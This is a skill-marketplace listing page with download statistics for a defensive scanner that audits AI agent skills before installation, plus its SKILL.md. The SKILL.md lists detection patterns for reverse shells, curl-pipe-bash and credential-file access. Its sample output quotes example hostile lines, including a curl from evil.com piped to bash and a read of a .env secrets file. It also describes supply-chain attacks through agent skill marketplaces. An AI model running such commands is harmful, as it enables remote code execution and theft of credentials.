amir-ag

Clawhub Skill Scanner

运维安全v0.1.0
作者:amir-ag更新于 2026-05-11clawhub-skill-scanner@clawhub_amir-ag/clawhub-skill-scanner
安全扫描#Security Audit#GitHub

据 AlphaMoat 统计,截至 2026-10,Clawhub Skill Scanner 累计下载 5,333 次、获 1 个星标,按累计下载量在本次参与排名的 5,109 个 AI 技能中排名第 2,632 位,在「运维安全」分类(275 个)中排名第 143 位。

列表默认按累计下载量排序,也可按星标排序;详情页排名按累计下载量计算。

累计下载
5,333
星标
1
全站下载量排名
#2,632
全站前 52% · 「运维安全」前 52%
平台累计下载星标评论
ClawHub ↗3,0921-
SkillHub ↗5,3331—

各平台的计数口径不同,统计时间不一致。

这个技能是做什么的

技能安装的安全守门员。从 ClawHub、GitHub 或外部来源安装任何技能前必须执行。通过深度代码分析检测恶意模式、凭据访问、数据窃取、命令注入等安全风险。触发词:“install skill”、“clawhub install”、“new skill”、“add skill”、“skill from”。务必在安装前运行。

月度数据趋势

累计下载5,333
1,3223,4765,6302026-03 · 累计下载 1,6192026-05 · 累计下载 2,2872026-06 · 累计下载 2,4222026-07 · 累计下载 2,7102026-08 · 累计下载 2,8962026-09 · 累计下载 3,4692026-10 · 累计下载 5,33326-0326-0926-10
星标1
0122026-03 · 星标 12026-05 · 星标 12026-06 · 星标 12026-07 · 星标 12026-08 · 星标 12026-09 · 星标 12026-10 · 星标 126-0326-0926-10

2026-09 起统计方法调整:同名技能按作者分别统计,并覆盖全部技能。图中虚线为调整前的月份,与之后的数据不直接比较,也不计算跨越调整的增长。

月份累计下载环比星标
2026-105,333—1
2026-093,469—1
2026-082,896+6.9%1
2026-072,710+11.9%1
2026-062,422+5.9%1
2026-052,287—1
2026-031,619—1

SKILL.md 原文

以下是作者发布的原始文件,按纯文本显示,本站未做修改或审核;其中的链接不可点击,命令请核实后再运行。抓取于 2026-10-23。

4.5 KB · ClawHub v0.1.0
---
name: clawhub-skill-scanner
description: >
  Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub,
  GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential
  access, data exfiltration, command injection, and other security risks. Triggers: "install skill",
  "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.

---
展开全部(共 144 行)
# Skill Security Audit

**MANDATORY** security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

## When to Use

Run this audit **BEFORE** any skill installation:
- `clawhub install <skill>`
- Manual skill download/copy
- Skills from GitHub, URLs, or untrusted sources

## Quick Start

```bash
# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill

# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json

# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe
```

## What It Detects

### 🔴 CRITICAL (Blocks Installation)

| Category | Patterns |
|----------|----------|
| **Reverse Shells** | `nc -e`, `bash /dev/tcp`, Python socket shells |
| **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
| **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files |
| **Data Exfiltration** | Discord/Slack webhooks, POST with secrets |
| **Malicious Domains** | glot.io, pastebin (known malware hosts) |
| **Persistence** | crontab, systemd, LaunchAgents, .bashrc |
| **Command Injection** | eval(), exec(), subprocess shell=True |
| **Obfuscation** | base64 decode pipes, pickle, marshal |

### 🟡 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:
- Raw socket usage (unusual for most skills)
- Dynamic code compilation
- File/directory deletion
- Screenshot/keyboard capture libraries
- Low-level system calls (ctypes)

### Philosophy

We intentionally **don't warn** on common patterns like:
- HTTP requests (normal for API skills)
- API key references (normal for integration skills)
- File writes (normal for data skills)
- Environment variable access (normal for config)

This reduces noise so real threats stand out.

## Risk Scoring

```
CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution
```

| Score | Level | Action |
|-------|-------|--------|
| 0-20 | 🟢 SAFE | Auto-approve |
| 21-50 | 🟡 CAUTION | Review findings |
| 51-80 | 🔶 DANGER | Detailed review required |
| 81-100 | 🔴 BLOCKED | Do NOT install |

## Sample Output

```
════════════════════════════════════════════════════════════
  SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════

📊 RISK SCORE: 90/100 - 🔴 BLOCKED

🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env access (ClawHavoc target!)
    Code: open(os.path.expanduser('~/.clawdbot/.env'))

📁 FILES SCANNED: 5
📏 TOTAL LINES: 230

════════════════════════════════════════════════════════════
  🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════
```

## Integration with clawhub

Create a wrapper script to auto-scan before installation:

```bash
#!/bin/bash
# clawhub-secure: Scan before install

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"

# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 Installation blocked by security scan"
    exit 1
fi

rm -rf "$TEMP"
```

## References

See `references/threat-patterns.md` for detailed pattern explanations.

## Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated
large-scale supply chain attacks via AI agent skill marketplaces.

「运维安全」分类下的热门技能

数据月份:2026-10 · 下载/星标数聚合自公开技能注册库(ClawHub、SkillHub),按月更新。口径说明见数据方法。